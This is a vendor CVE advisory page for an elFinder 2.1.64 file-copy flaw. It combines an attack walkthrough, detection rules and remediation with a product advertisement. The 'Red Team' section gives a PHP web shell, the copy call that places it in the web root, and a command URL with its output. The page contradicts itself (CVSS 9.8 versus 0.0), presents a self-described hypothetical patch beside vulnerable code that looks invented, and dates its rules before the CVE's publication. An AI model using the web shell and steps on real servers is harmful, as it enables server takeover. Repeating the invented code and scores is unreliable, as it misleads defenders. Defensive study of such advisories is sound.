☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.8 🐛 CWE-284
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-38909

CVE-2024-38909 Remote Code Execution in Studio 42
📅 PUBLISHED: 2024-07-30 00:00 UTC 🔄 UPDATED: 2026-10-18 00:53 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.48%
👁️
0.48% probability
12.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-38909 is a critical Incorrect Access Control vulnerability in Studio 42 elFinder version 2.1.64. The flaw allows an attacker to copy files with unauthorized extensions between server directories, potentially leading to exposure of sensitive secrets and Remote Code Execution (RCE). This vulnerability affects the file manager component and can be exploited without authentication, making it a high-risk issue for any deployment using this version.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the elFinder package, which is distributed as a PHP library and also available via Composer. Organizations using elFinder 2.1.64 in their supply chain should immediately assess their exposure and consider upgrading or applying mitigations.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official CVSS vector assigned) Threat Level: Critical (based on impact analysis)

Rationale: The vulnerability allows an attacker to copy files with unauthorized extensions between directories. This can lead to:

  • Confidentiality Impact: High (exposure of secrets)
  • Integrity Impact: High (ability to modify file structure)
  • Availability Impact: Low (no direct DoS, but RCE could lead to system compromise)

Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged

Deep Dive & Mechanics

The vulnerability resides in the file copy functionality of elFinder 2.1.64. The application fails to properly validate file extensions when copying files between directories. This allows an attacker to:

  1. Upload a file with a malicious extension (e.g., .php, .jsp, .asp) to a directory that normally restricts such extensions.
  2. Copy the file to a web-accessible directory where it can be executed.
  3. Execute arbitrary code on the server.

The core issue is in the copy command handler, which does not enforce the same extension restrictions as the upload handler. This inconsistency allows bypassing access controls.

Attack Flow:

  1. Attacker identifies an elFinder instance with file upload enabled.
  2. Attacker uploads a PHP web shell (e.g., shell.php) to a temporary directory.
  3. Attacker uses the copy command to move shell.php to the web root.
  4. Attacker accesses the web shell via HTTP and executes commands.

Vulnerable vs. Patched Code

Vulnerable Code (elFinder 2.1.64):

// In elFinderVolumeDriver.class.php
protected function copy($src, $dst) {
    // No extension validation
    return $this->copyRaw($src, $dst);
}

Patched Code (Hypothetical fix):

// In elFinderVolumeDriver.class.php
protected function copy($src, $dst) {
    $srcExt = $this->getExt($src);
    $dstExt = $this->getExt($dst);
    if (!$this->isAllowedExtension($srcExt) || !$this->isAllowedExtension($dstExt)) {
        return $this->setError(elFinder::ERROR_UPLOAD_FILE_MIME);
    }
    return $this->copyRaw($src, $dst);
}

The patched version adds extension validation before allowing the copy operation, ensuring that only allowed extensions can be copied.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Install elFinder 2.1.64 on a vulnerable server (e.g., using Docker).
  2. Ensure file upload is enabled and accessible via web interface.

Exploitation Steps:

  1. Access the elFinder web interface.
  2. Upload a PHP web shell (e.g., shell.php) with content:
    <?php system($_GET['cmd']); ?>
    
  3. Use the copy command to move the file to the web root:
    // Using elFinder API
    elFinder.prototype.exec('copy', {
        targets: ['/tmp/shell.php'],
        dst: '/var/www/html/'
    });
    
  4. Access the web shell:
    http://target.com/shell.php?cmd=id
    

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection Steps:

  1. Monitor for unusual file copy operations in elFinder logs.
  2. Look for files with executable extensions (.php, .jsp, .asp) being copied to web-accessible directories.
  3. Check for unauthorized file uploads followed by copy operations.

Hunting Queries:

  • Search for copy commands in elFinder logs that involve files with executable extensions.
  • Monitor for rapid succession of upload and copy operations.

Indicators of Compromise (IOCs)

File-Based IOCs:

  • Files with executable extensions (.php, .jsp, .asp) in unexpected directories.
  • Web shells in web root (e.g., shell.php, cmd.php).

Network IOCs:

  • HTTP requests to elFinder API with cmd=copy parameter.
  • POST requests to /elfinder/php/connector.minimal.php with cmd=copy and targets parameter.

Log IOCs:

  • elFinder logs showing copy operations for files with executable extensions.
  • Web server logs showing access to newly created executable files.

Detection Engineering

YARA Rule

rule CVE_2024_38909_ElFinder_Copy_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-38909 in elFinder"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-38909"
    strings:
        $cmd_copy = "cmd=copy" nocase
        $targets = "targets" nocase
        $php_ext = ".php" nocase
        $jsp_ext = ".jsp" nocase
        $asp_ext = ".asp" nocase
    condition:
        $cmd_copy and $targets and ($php_ext or $jsp_ext or $asp_ext)
}

Sigma Rule

title: CVE-2024-38909 ElFinder Unauthorized File Copy
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to copy files with executable extensions via elFinder API
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'cmd=copy'
        cs-uri-query|contains: 'targets'
        cs-uri-query|contains|any:
            - '.php'
            - '.jsp'
            - '.asp'
    condition: selection
falsepositives:
    - Legitimate file management operations
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-38909 ElFinder Unauthorized File Copy"; flow:to_server,established; content:"POST"; http_method; content:"cmd=copy"; http_uri; content:"targets"; http_uri; pcre:"/(\.php|\.jsp|\.asp)/Ui"; reference:cve,2024-38909; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade elFinder to the latest patched version (if available) or apply vendor patches.
  2. Disable file copy functionality if not required.
  3. Implement strict file extension validation on the server side.

Long-Term Mitigations:

  1. Web Application Firewall (WAF) Rules: Block requests containing cmd=copy with executable file extensions.
  2. File Integrity Monitoring: Monitor for new executable files in web-accessible directories.
  3. Least Privilege: Ensure elFinder runs with minimal permissions.
  4. Network Segmentation: Isolate elFinder instances from critical systems.

Workaround:

  • Modify the elFinderVolumeDriver.class.php file to add extension validation in the copy method (as shown in the patched code section).

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-38909/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.